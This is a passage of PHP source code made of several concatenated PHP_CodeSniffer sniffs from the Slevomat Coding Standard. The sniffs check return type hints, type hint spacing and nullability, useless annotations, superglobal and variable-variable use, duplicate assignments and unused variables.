{ return; } $fix = $phpcsFile->addFixableError( sprintf( '%s %s() does not have native return type hint for its return value but it should be possible to add it based on @return annotation "%s".', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), AnnotationTypeHelper::print($returnTypeNode), ), $functionPointer, self::CODE_MISSING_NATIVE_TYPE_HINT, ); if (!$fix) { return; } if (in_array('mixed', $typeHintsWithConvertedUnion, true)) { $returnTypeHint = 'mixed'; } elseif ($originalReturnTypeNode instanceof IntersectionTypeNode) { $returnTypeHint = implode('&', $typeHintsWithConvertedUnion); } else { $returnTypeHint = implode('|', $typeHintsWithConvertedUnion); if ($nullableReturnTypeHint) { if (count($typeHintsWithConvertedUnion) > 1) { $returnTypeHint .= '|null'; } else { $returnTypeHint = '?' . $returnTypeHint; } } } $phpcsFile->fixer->beginChangeset(); FixerHelper::add( $phpcsFile, $phpcsFile->getTokens()[$functionPointer]['parenthesis_closer'], sprintf(': %s', $returnTypeHint), ); $phpcsFile->fixer->endChangeset(); } /** * @param list $prefixedReturnAnnotations */ private function checkFunctionTraversableTypeHintSpecification( File $phpcsFile, int $functionPointer, ?TypeHint $returnTypeHint, ?Annotation $returnAnnotation, array $prefixedReturnAnnotations ): void { $suppressName = $this->getSniffName(self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION); $isSuppressed = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $suppressName); $hasTraversableTypeHint = $this->hasTraversableTypeHint($phpcsFile, $functionPointer, $returnTypeHint, $returnAnnotation); $hasReturnAnnotation = $this->hasReturnAnnotation($returnAnnotation); if (!$hasReturnAnnotation) { if ($hasTraversableTypeHint) { if (count($prefixedReturnAnnotations) !== 0) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressed, $suppressName); return; } if (!$isSuppressed) { $phpcsFile->addError( sprintf( '%s %s() does not have @return annotation for its traversable return value.', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), ), $functionPointer, self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION, ); } } return; } $returnTypeNode = $this->getReturnTypeNode($returnAnnotation); if ( !$hasTraversableTypeHint && !AnnotationTypeHelper::containsTraversableType( $returnTypeNode, $phpcsFile, $functionPointer, $this->getTraversableTypeHints(), ) ) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressed, $suppressName); return; } if (AnnotationTypeHelper::containsItemsSpecificationForTraversable( $returnTypeNode, $phpcsFile, $functionPointer, $this->getTraversableTypeHints(), )) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressed, $suppressName); return; } if ($isSuppressed) { return; } /** @var Annotation $returnAnnotation */ $returnAnnotation = $returnAnnotation; $phpcsFile->addError( sprintf( '@return annotation of %s %s() does not specify type hint for items of its traversable return value.', lcfirst(FunctionHelper::getTypeLabel($phpcsFile, $functionPointer)), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), ), $returnAnnotation->getStartPointer(), self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION, ); } private function checkFunctionUselessAnnotation( File $phpcsFile, int $functionPointer, ?TypeHint $returnTypeHint, ?Annotation $returnAnnotation ): void { if ($returnAnnotation === null) { return; } $suppressName = self::getSniffName(self::CODE_USELESS_ANNOTATION); $isSuppressed = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $suppressName); if (!AnnotationHelper::isAnnotationUseless( $phpcsFile, $functionPointer, $returnTypeHint, $returnAnnotation, $this->getTraversableTypeHints(), $this->enableUnionTypeHint, $this->enableIntersectionTypeHint, $this->enableStandaloneNullTrueFalseTypeHints, )) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressed, $suppressName); return; } if ($isSuppressed) { return; } $fix = $phpcsFile->addFixableError( sprintf( '%s %s() has useless @return annotation.', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), ), $returnAnnotation->getStartPointer(), self::CODE_USELESS_ANNOTATION, ); if (!$fix) { return; } $docCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $functionPointer); $starPointer = TokenHelper::findPrevious( $phpcsFile, T_DOC_COMMENT_STAR, $returnAnnotation->getStartPointer() - 1, $docCommentOpenPointer, ); $changeStart = $starPointer ?? $returnAnnotation->getStartPointer(); /** @var int $changeEnd */ $changeEnd = TokenHelper::findNext( $phpcsFile, [T_DOC_COMMENT_CLOSE_TAG, T_DOC_COMMENT_STAR], $returnAnnotation->getEndPointer() + 1, ) - 1; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $changeStart, $changeEnd); $phpcsFile->fixer->endChangeset(); } private function checkClosureTypeHint(File $phpcsFile, int $closurePointer): void { $returnTypeHint = FunctionHelper::findReturnTypeHint($phpcsFile, $closurePointer); $returnsValue = FunctionHelper::returnsValue($phpcsFile, $closurePointer); if ($returnsValue || $returnTypeHint !== null) { return; } $fix = $phpcsFile->addFixableError( 'Closure does not have void return type hint.', $closurePointer, self::CODE_MISSING_NATIVE_TYPE_HINT, ); if (!$fix) { return; } $tokens = $phpcsFile->getTokens(); /** @var int $position */ $position = TokenHelper::findPreviousEffective($phpcsFile, $tokens[$closurePointer]['scope_opener'] - 1, $closurePointer); $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $position, ': void'); $phpcsFile->fixer->endChangeset(); } /** * @param Annotation|null $returnAnnotation */ private function getReturnTypeNode(?Annotation $returnAnnotation): ?TypeNode { if ($this->hasReturnAnnotation($returnAnnotation)) { return $returnAnnotation->getValue()->type; } return null; } private function hasTraversableTypeHint( File $phpcsFile, int $functionPointer, ?TypeHint $returnTypeHint, ?Annotation $returnAnnotation ): bool { if ( $returnTypeHint !== null && TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint( $phpcsFile, $functionPointer, $returnTypeHint->getTypeHintWithoutNullabilitySymbol(), ), $this->getTraversableTypeHints(), ) ) { return true; } return $this->hasReturnAnnotation($returnAnnotation) && AnnotationTypeHelper::containsTraversableType( $this->getReturnTypeNode($returnAnnotation), $phpcsFile, $functionPointer, $this->getTraversableTypeHints(), ); } private function hasReturnAnnotation(?Annotation $returnAnnotation): bool { return $returnAnnotation !== null && !$returnAnnotation->isInvalid(); } private function reportUselessSuppress(File $phpcsFile, int $pointer, bool $isSuppressed, string $suppressName): void { if (!$isSuppressed) { return; } $fix = $phpcsFile->addFixableError( sprintf('Useless %s %s', SuppressHelper::ANNOTATION, $suppressName), $pointer, self::CODE_USELESS_SUPPRESS, ); if ($fix) { SuppressHelper::removeSuppressAnnotation($phpcsFile, $pointer, $suppressName); } } private function getSniffName(string $sniffName): string { return sprintf('%s.%s', self::NAME, $sniffName); } /** * @return list */ private function getTraversableTypeHints(): array { $this->normalizedTraversableTypeHints ??= array_map( static fn (string $typeHint): string => NamespaceHelper::isFullyQualifiedName($typeHint) ? $typeHint : sprintf('%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $typeHint), SniffSettingsHelper::normalizeArray($this->traversableTypeHints), ); return $this->normalizedTraversableTypeHints; } } */ public function register(): array { return TokenHelper::FUNCTION_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $this->spacesCountBeforeColon = SniffSettingsHelper::normalizeInteger($this->spacesCountBeforeColon); $typeHint = FunctionHelper::findReturnTypeHint($phpcsFile, $functionPointer); if ($typeHint === null) { return; } $tokens = $phpcsFile->getTokens(); $typeHintStartPointer = $typeHint->getStartPointer(); /** @var int $colonPointer */ $colonPointer = TokenHelper::findPreviousEffective($phpcsFile, $typeHintStartPointer - 1); if ($tokens[$typeHintStartPointer]['code'] !== T_NULLABLE) { if ($tokens[$colonPointer + 1]['code'] !== T_WHITESPACE) { $fix = $phpcsFile->addFixableError( 'There must be exactly one space between return type hint colon and return type hint.', $typeHintStartPointer, self::CODE_NO_SPACE_BETWEEN_COLON_AND_TYPE_HINT, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $colonPointer, ' '); $phpcsFile->fixer->endChangeset(); } } elseif ($tokens[$colonPointer + 1]['content'] !== ' ') { $fix = $phpcsFile->addFixableError( 'There must be exactly one space between return type hint colon and return type hint.', $typeHintStartPointer, self::CODE_MULTIPLE_SPACES_BETWEEN_COLON_AND_TYPE_HINT, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $colonPointer + 1, ' '); $phpcsFile->fixer->endChangeset(); } } } else { if ($tokens[$colonPointer + 1]['code'] !== T_WHITESPACE) { $fix = $phpcsFile->addFixableError( 'There must be exactly one space between return type hint colon and return type hint nullability symbol.', $typeHintStartPointer, self::CODE_NO_SPACE_BETWEEN_COLON_AND_NULLABILITY_SYMBOL, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $colonPointer, ' '); $phpcsFile->fixer->endChangeset(); } } elseif ($tokens[$colonPointer + 1]['content'] !== ' ') { $fix = $phpcsFile->addFixableError( 'There must be exactly one space between return type hint colon and return type hint nullability symbol.', $typeHintStartPointer, self::CODE_MULTIPLE_SPACES_BETWEEN_COLON_AND_NULLABILITY_SYMBOL, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $colonPointer + 1, ' '); $phpcsFile->fixer->endChangeset(); } } if ($tokens[$typeHintStartPointer + 1]['code'] === T_WHITESPACE) { $fix = $phpcsFile->addFixableError( 'There must be no whitespace between return type hint nullability symbol and return type hint.', $typeHintStartPointer, self::CODE_WHITESPACE_AFTER_NULLABILITY_SYMBOL, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $typeHintStartPointer + 1, ''); $phpcsFile->fixer->endChangeset(); } } } $expectedSpaces = str_repeat(' ', $this->spacesCountBeforeColon); if ( $tokens[$colonPointer - 1]['code'] !== T_CLOSE_PARENTHESIS && $tokens[$colonPointer - 1]['content'] !== $expectedSpaces ) { $fix = $this->spacesCountBeforeColon === 0 ? $phpcsFile->addFixableError( 'There must be no whitespace between closing parenthesis and return type colon.', $typeHintStartPointer, self::CODE_WHITESPACE_BEFORE_COLON, ) : $phpcsFile->addFixableError( sprintf( 'There must be exactly %d whitespace%s between closing parenthesis and return type colon.', $this->spacesCountBeforeColon, $this->spacesCountBeforeColon !== 1 ? 's' : '', ), $typeHintStartPointer, self::CODE_INCORRECT_SPACES_BEFORE_COLON, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $colonPointer - 1, $expectedSpaces); $phpcsFile->fixer->endChangeset(); } } elseif ($tokens[$colonPointer - 1]['code'] === T_CLOSE_PARENTHESIS && $this->spacesCountBeforeColon !== 0) { $fix = $phpcsFile->addFixableError( sprintf( 'There must be exactly %d whitespace%s between closing parenthesis and return type colon.', $this->spacesCountBeforeColon, $this->spacesCountBeforeColon !== 1 ? 's' : '', ), $typeHintStartPointer, self::CODE_INCORRECT_SPACES_BEFORE_COLON, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $colonPointer - 1, $expectedSpaces); $phpcsFile->fixer->endChangeset(); } } } } */ public function register(): array { return [ T_VARIABLE, ...TokenHelper::FUNCTION_TOKEN_CODES, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 80000); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] === T_VARIABLE) { if (!PropertyHelper::isProperty($phpcsFile, $pointer)) { return; } $propertyTypeHint = PropertyHelper::findTypeHint($phpcsFile, $pointer); if ($propertyTypeHint !== null) { $this->checkTypeHint($phpcsFile, $propertyTypeHint); } return; } $returnTypeHint = FunctionHelper::findReturnTypeHint($phpcsFile, $pointer); if ($returnTypeHint !== null) { $this->checkTypeHint($phpcsFile, $returnTypeHint); } foreach (FunctionHelper::getParametersTypeHints($phpcsFile, $pointer) as $parameterTypeHint) { if ($parameterTypeHint !== null) { $this->checkTypeHint($phpcsFile, $parameterTypeHint); } } } private function checkTypeHint(File $phpcsFile, TypeHint $typeHint): void { $tokens = $phpcsFile->getTokens(); $typeHintsCount = substr_count($typeHint->getTypeHint(), '|') + 1; if ($typeHintsCount > 1) { if ($this->withSpaces === self::NO) { $whitespacePointer = TokenHelper::findNext( $phpcsFile, T_WHITESPACE, $typeHint->getStartPointer() + 1, $typeHint->getEndPointer(), ); if ($whitespacePointer !== null) { $originalTypeHint = TokenHelper::getContent($phpcsFile, $typeHint->getStartPointer(), $typeHint->getEndPointer()); $fix = $phpcsFile->addFixableError( sprintf('Spaces in type hint "%s" are disallowed.', $originalTypeHint), $typeHint->getStartPointer(), self::CODE_DISALLOWED_WHITESPACE, ); if ($fix) { $this->fixTypeHint($phpcsFile, $typeHint, $typeHint->getTypeHint()); } } } elseif ($this->withSpaces === self::YES) { $error = false; foreach (TokenHelper::findNextAll( $phpcsFile, [T_TYPE_UNION], $typeHint->getStartPointer(), $typeHint->getEndPointer(), ) as $unionSeparator) { if ($tokens[$unionSeparator - 1]['content'] !== ' ') { $error = true; break; } if ($tokens[$unionSeparator + 1]['content'] !== ' ') { $error = true; break; } } if ($error) { $originalTypeHint = TokenHelper::getContent($phpcsFile, $typeHint->getStartPointer(), $typeHint->getEndPointer()); $fix = $phpcsFile->addFixableError( sprintf('One space required before and after each "|" in type hint "%s".', $originalTypeHint), $typeHint->getStartPointer(), self::CODE_REQUIRED_WHITESPACE, ); if ($fix) { $fixedTypeHint = implode(' | ', explode('|', $typeHint->getTypeHint())); $this->fixTypeHint($phpcsFile, $typeHint, $fixedTypeHint); } } } } if (!$typeHint->isNullable()) { return; } $hasShortNullable = strpos($typeHint->getTypeHint(), '?') === 0; if ($this->shortNullable === self::YES && $typeHintsCount === 2 && !$hasShortNullable) { $fix = $phpcsFile->addFixableError( sprintf('Short nullable type hint in "%s" is required.', $typeHint->getTypeHint()), $typeHint->getStartPointer(), self::CODE_REQUIRED_SHORT_NULLABLE, ); if ($fix) { $typeHintWithoutNull = self::getTypeHintContentWithoutNull($phpcsFile, $typeHint); $this->fixTypeHint($phpcsFile, $typeHint, '?' . $typeHintWithoutNull); } } elseif ($this->shortNullable === self::NO && $hasShortNullable) { $fix = $phpcsFile->addFixableError( sprintf('Usage of short nullable type hint in "%s" is disallowed.', $typeHint->getTypeHint()), $typeHint->getStartPointer(), self::CODE_DISALLOWED_SHORT_NULLABLE, ); if ($fix) { $this->fixTypeHint($phpcsFile, $typeHint, substr($typeHint->getTypeHint(), 1) . '|null'); } } if ($hasShortNullable || ($this->shortNullable === self::YES && $typeHintsCount === 2)) { return; } if ($this->nullPosition === self::FIRST && strtolower($tokens[$typeHint->getStartPointer()]['content']) !== 'null') { $fix = $phpcsFile->addFixableError( sprintf('Null type hint should be on first position in "%s".', $typeHint->getTypeHint()), $typeHint->getStartPointer(), self::CODE_NULL_TYPE_HINT_NOT_ON_FIRST_POSITION, ); if ($fix) { $this->fixTypeHint($phpcsFile, $typeHint, 'null|' . self::getTypeHintContentWithoutNull($phpcsFile, $typeHint)); } } elseif ($this->nullPosition === self::LAST && strtolower($tokens[$typeHint->getEndPointer()]['content']) !== 'null') { $fix = $phpcsFile->addFixableError( sprintf('Null type hint should be on last position in "%s".', $typeHint->getTypeHint()), $typeHint->getStartPointer(), self::CODE_NULL_TYPE_HINT_NOT_ON_LAST_POSITION, ); if ($fix) { $this->fixTypeHint($phpcsFile, $typeHint, self::getTypeHintContentWithoutNull($phpcsFile, $typeHint) . '|null'); } } } private function getTypeHintContentWithoutNull(File $phpcsFile, TypeHint $typeHint): string { $tokens = $phpcsFile->getTokens(); if (strtolower($tokens[$typeHint->getEndPointer()]['content']) === 'null') { $previousTypeHintPointer = TokenHelper::findPrevious( $phpcsFile, TokenHelper::ONLY_TYPE_HINT_TOKEN_CODES, $typeHint->getEndPointer() - 1, ); return TokenHelper::getContent($phpcsFile, $typeHint->getStartPointer(), $previousTypeHintPointer); } $content = ''; for ($i = $typeHint->getStartPointer(); $i <= $typeHint->getEndPointer(); $i++) { if (strtolower($tokens[$i]['content']) === 'null') { $i = TokenHelper::findNext($phpcsFile, TokenHelper::ONLY_TYPE_HINT_TOKEN_CODES, $i + 1); } $content .= $tokens[$i]['content']; } return $content; } private function fixTypeHint(File $phpcsFile, TypeHint $typeHint, string $fixedTypeHint): void { $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $typeHint->getStartPointer(), $typeHint->getEndPointer(), $fixedTypeHint); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_CONST, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $constantPointer */ public function process(File $phpcsFile, $constantPointer): void { $tokens = $phpcsFile->getTokens(); $docCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $constantPointer); if ($docCommentOpenPointer === null) { return; } $annotations = AnnotationHelper::getAnnotations($phpcsFile, $constantPointer, '@var'); if ($annotations === []) { return; } $uselessDocComment = !DocCommentHelper::hasDocCommentDescription($phpcsFile, $constantPointer) && count($annotations) === 1; if ($uselessDocComment) { $fix = $phpcsFile->addFixableError('Useless documentation comment.', $docCommentOpenPointer, self::CODE_USELESS_DOC_COMMENT); /** @var int $fixerStart */ $fixerStart = TokenHelper::findLastTokenOnPreviousLine($phpcsFile, $docCommentOpenPointer); $fixerEnd = $tokens[$docCommentOpenPointer]['comment_closer']; } else { $annotation = $annotations[0]; $fix = $phpcsFile->addFixableError( 'Useless @var annotation.', $annotation->getStartPointer(), self::CODE_USELESS_VAR_ANNOTATION, ); /** @var int $fixerStart */ $fixerStart = TokenHelper::findPreviousContent( $phpcsFile, T_DOC_COMMENT_WHITESPACE, $phpcsFile->eolChar, $annotation->getStartPointer() - 1, ); $fixerEnd = $annotation->getEndPointer(); } if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $fixerStart, $fixerEnd); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_VARIABLE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $tokens = $phpcsFile->getTokens(); if (!in_array($tokens[$pointer]['content'], self::SUPER_GLOBALS, true)) { return; } $phpcsFile->addError('Use of super global variable is disallowed.', $pointer, self::CODE_DISALLOWED_SUPER_GLOBAL_VARIABLE); } } */ public function register(): array { return [ T_DOLLAR, T_DOLLAR_OPEN_CURLY_BRACES, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $phpcsFile->addError('Use of variable variable is disallowed.', $pointer, self::CODE_DISALLOWED_VARIABLE_VARIABLE); } } */ public function register(): array { return [ T_EQUAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $assignmentPointer */ public function process(File $phpcsFile, $assignmentPointer): void { $tokens = $phpcsFile->getTokens(); $variablePointer = TokenHelper::findPreviousEffective($phpcsFile, $assignmentPointer - 1); if ($tokens[$variablePointer]['code'] !== T_VARIABLE) { return; } $pointerBeforeVariable = TokenHelper::findPreviousEffective($phpcsFile, $variablePointer - 1); if (in_array($tokens[$pointerBeforeVariable]['code'], [T_OBJECT_OPERATOR, T_DOUBLE_COLON], true)) { return; } /** @var int $secondVariablePointer */ $secondVariablePointer = TokenHelper::findNextEffective($phpcsFile, $assignmentPointer + 1); if ($tokens[$secondVariablePointer]['code'] !== T_VARIABLE) { return; } if ($tokens[$variablePointer]['content'] !== $tokens[$secondVariablePointer]['content']) { return; } $pointerAfterSecondVariable = TokenHelper::findNextEffective($phpcsFile, $secondVariablePointer + 1); if ($tokens[$pointerAfterSecondVariable]['code'] !== T_EQUAL) { return; } $phpcsFile->addError( sprintf('Duplicate assignment to variable %s.', $tokens[$secondVariablePointer]['content']), $secondVariablePointer, self::CODE_DUPLICATE_ASSIGNMENT, ); } } */ public function register(): array { return [ T_VARIABLE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { if (!$this->isAssignment($phpcsFile, $pointer)) { return; } $tokens = $phpcsFile->getTokens(); $variableName = $tokens[$pointer]['content']; if (in_array($variableName, [ '$this', '$GLOBALS', '$_SERVER', '$_GET', '$_POST', '$_FILES', '$_COOKIE', '$_SESSION', '$_REQUEST', '$_ENV', ], true)) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); if (in_array($tokens[$previousPointer]['code'], [T_OBJECT_OPERATOR, T_DOUBLE_COLON], true)) { // Property return; } if (in_array($tokens[$previousPointer]['code'], Tokens::$castTokens, true)) { $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); } if (in_array($tokens[$previousPointer]['code'], [ T_EQUAL, T_PLUS_EQUAL, T_MINUS_EQUAL, T_MUL_EQUAL, T_DIV_EQUAL, T_POW_EQUAL, T_MOD_EQUAL, T_AND_EQUAL, T_OR_EQUAL, T_XOR_EQUAL, T_SL_EQUAL, T_SR_EQUAL, T_CONCAT_EQUAL, T_YIELD, ], true)) { return; } if ($this->isUsedAsParameter($phpcsFile, $pointer)) { return; } if ($this->isUsedInForLoopCondition($phpcsFile, $pointer, $variableName)) { return; } if ($this->isDefinedInDoConditionAndUsedInLoop($phpcsFile, $pointer, $variableName)) { return; } if ($this->isUsedInLoopCycle($phpcsFile, $pointer, $variableName)) { return; } if ($this->isUsedAsKeyOrValueInArray($phpcsFile, $pointer)) { return; } if ($this->isValueInForeachAndErrorIsIgnored($phpcsFile, $pointer)) { return; } $scopeOwnerPointer = ScopeHelper::getRootPointer($phpcsFile, $pointer - 1); foreach (array_reverse($tokens[$pointer]['conditions'], true) as $conditionPointer => $conditionTokenCode) { if (in_array($conditionTokenCode, TokenHelper::FUNCTION_TOKEN_CODES, true)) { $scopeOwnerPointer = $conditionPointer; break; } } if (in_array($tokens[$scopeOwnerPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { if ($this->isStaticOrGlobalVariable($phpcsFile, $scopeOwnerPointer, $variableName)) { return; } if ($this->isParameterPassedByReference($phpcsFile, $scopeOwnerPointer, $variableName)) { return; } if ( $tokens[$scopeOwnerPointer]['code'] === T_CLOSURE && $this->isInheritedVariablePassedByReference($phpcsFile, $scopeOwnerPointer, $variableName) ) { return; } } if ($this->isReference($phpcsFile, $scopeOwnerPointer, $pointer)) { return; } if (VariableHelper::isUsedInScopeAfterPointer($phpcsFile, $scopeOwnerPointer, $pointer, $pointer + 1)) { return; } if ($this->isPartOfStatementAndWithIncrementOrDecrementOperator($phpcsFile, $pointer)) { return; } $phpcsFile->addError( sprintf('Unused variable %s.', $variableName), $pointer, self::CODE_UNUSED_VARIABLE, ); } private function isAssignment(File $phpcsFile, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $variablePointer + 1); if (in_array($tokens[$nextPointer]['code'], [ T_EQUAL, T_PLUS_EQUAL, T_MINUS_EQUAL, T_MUL_EQUAL, T_DIV_EQUAL, T_POW_EQUAL, T_MOD_EQUAL, T_AND_EQUAL, T_OR_EQUAL, T_XOR_EQUAL, T_SL_EQUAL, T_SR_EQUAL, T_CONCAT_EQUAL, ], true)) { if ($tokens[$nextPointer]['code'] === T_EQUAL) { if (PropertyHelper::isProperty($phpcsFile, $variablePointer)) { return false; } if (ParameterHelper::isParameter($phpcsFile, $variablePointer)) { return false; } } return true; } $actualPointer = $variablePointer; do { $parenthesisOpenerPointer = $this->findOpenerOfNestedParentheses($phpcsFile, $actualPointer); $parenthesisOwnerPointer = $this->findOwnerOfNestedParentheses($phpcsFile, $actualPointer); if ($parenthesisOpenerPointer === null) { break; } $actualPointer = $parenthesisOpenerPointer; } while ($parenthesisOwnerPointer === null && isset($tokens[$actualPointer]['nested_parenthesis'])); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $variablePointer - 1); if ( in_array($tokens[$nextPointer]['code'], [T_INC, T_DEC], true) || in_array($tokens[$previousPointer]['code'], [T_INC, T_DEC], true) ) { if ($parenthesisOwnerPointer === null) { return true; } return !in_array($tokens[$parenthesisOwnerPointer]['code'], [T_FOR, T_WHILE, T_IF, T_ELSEIF], true); } if ($parenthesisOwnerPointer !== null && $tokens[$parenthesisOwnerPointer]['code'] === T_FOREACH) { $pointerBeforeVariable = TokenHelper::findPreviousEffective($phpcsFile, $variablePointer - 1); return in_array($tokens[$pointerBeforeVariable]['code'], [T_AS, T_DOUBLE_ARROW], true); } if ($parenthesisOpenerPointer !== null) { $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); if ($tokens[$pointerBeforeParenthesisOpener]['code'] === T_LIST) { return true; } } $possibleShortListCloserPointer = TokenHelper::findNextExcluding( $phpcsFile, [...TokenHelper::INEFFECTIVE_TOKEN_CODES, T_VARIABLE, T_COMMA], $variablePointer + 1, ); if ($tokens[$possibleShortListCloserPointer]['code'] === T_CLOSE_SHORT_ARRAY) { return $tokens[TokenHelper::findNextEffective($phpcsFile, $possibleShortListCloserPointer + 1)]['code'] === T_EQUAL; } return false; } private function isUsedAsParameter(File $phpcsFile, int $variablePointer): bool { $parenthesisOpenerPointer = $this->findOpenerOfNestedParentheses($phpcsFile, $variablePointer); if ($parenthesisOpenerPointer === null) { return false; } if (!ScopeHelper::isInSameScope($phpcsFile, $parenthesisOpenerPointer, $variablePointer)) { return false; } return $phpcsFile->getTokens()[TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1)]['code'] === T_STRING; } private function isUsedInForLoopCondition(File $phpcsFile, int $variablePointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = $this->findOpenerOfNestedParentheses($phpcsFile, $variablePointer); if ($parenthesisOpenerPointer === null) { return false; } $parenthesisOwnerPointer = $this->findOwnerOfNestedParentheses($phpcsFile, $variablePointer); if ($parenthesisOwnerPointer === null) { return false; } if ($tokens[$parenthesisOwnerPointer]['code'] !== T_FOR) { return false; } for ($i = $parenthesisOpenerPointer + 1; $i < $tokens[$parenthesisOwnerPointer]['parenthesis_closer']; $i++) { if ($i === $variablePointer) { continue; } if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } return true; } return false; } private function isDefinedInDoConditionAndUsedInLoop(File $phpcsFile, int $variablePointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); $parenthesisOpener = TokenHelper::findPrevious($phpcsFile, T_OPEN_PARENTHESIS, $variablePointer - 1); if ($parenthesisOpener === null || $tokens[$parenthesisOpener]['parenthesis_closer'] < $variablePointer) { return false; } $whilePointer = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpener - 1); if ($tokens[$whilePointer]['code'] !== T_WHILE) { return false; } $loopCloserPointer = TokenHelper::findPreviousEffective($phpcsFile, $whilePointer - 1); if ($tokens[$loopCloserPointer]['code'] !== T_CLOSE_CURLY_BRACKET) { return false; } $doPointer = TokenHelper::findPreviousEffective($phpcsFile, $tokens[$loopCloserPointer]['bracket_opener'] - 1); if ($tokens[$doPointer]['code'] !== T_DO) { return false; } return TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $tokens[$loopCloserPointer]['bracket_opener'] + 1, $loopCloserPointer, ) !== null; } private function isUsedInLoopCycle(File $phpcsFile, int $variablePointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); $loopPointer = null; foreach (array_reverse($tokens[$variablePointer]['conditions'], true) as $conditionPointer => $conditionTokenCode) { if (in_array($conditionTokenCode, TokenHelper::FUNCTION_TOKEN_CODES, true)) { break; } if (!in_array($conditionTokenCode, [T_FOREACH, T_FOR, T_DO, T_WHILE], true)) { continue; } $loopPointer = $conditionPointer; $loopConditionPointer = $conditionTokenCode === T_DO ? TokenHelper::findNextEffective($phpcsFile, $tokens[$loopPointer]['scope_closer'] + 1) : $loopPointer; $variableUsedInLoopConditionPointer = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $tokens[$loopConditionPointer]['parenthesis_opener'] + 1, $tokens[$loopConditionPointer]['parenthesis_closer'], ); if ( $variableUsedInLoopConditionPointer === null || $variableUsedInLoopConditionPointer === $variablePointer ) { continue; } if ($conditionTokenCode !== T_FOREACH) { return true; } $pointerBeforeVariableUsedInLoopCondition = TokenHelper::findPreviousEffective( $phpcsFile, $variableUsedInLoopConditionPointer - 1, ); if ($tokens[$pointerBeforeVariableUsedInLoopCondition]['code'] === T_BITWISE_AND) { return true; } } if ($loopPointer === null) { return false; } for ($i = $tokens[$loopPointer]['scope_opener'] + 1; $i < $tokens[$loopPointer]['scope_closer']; $i++) { if ( in_array($tokens[$i]['code'], [T_DOUBLE_QUOTED_STRING, T_HEREDOC], true) && VariableHelper::isUsedInScopeInString($phpcsFile, $variableName, $i) ) { return true; } if ($tokens[$i]['code'] !== T_VARIABLE) { 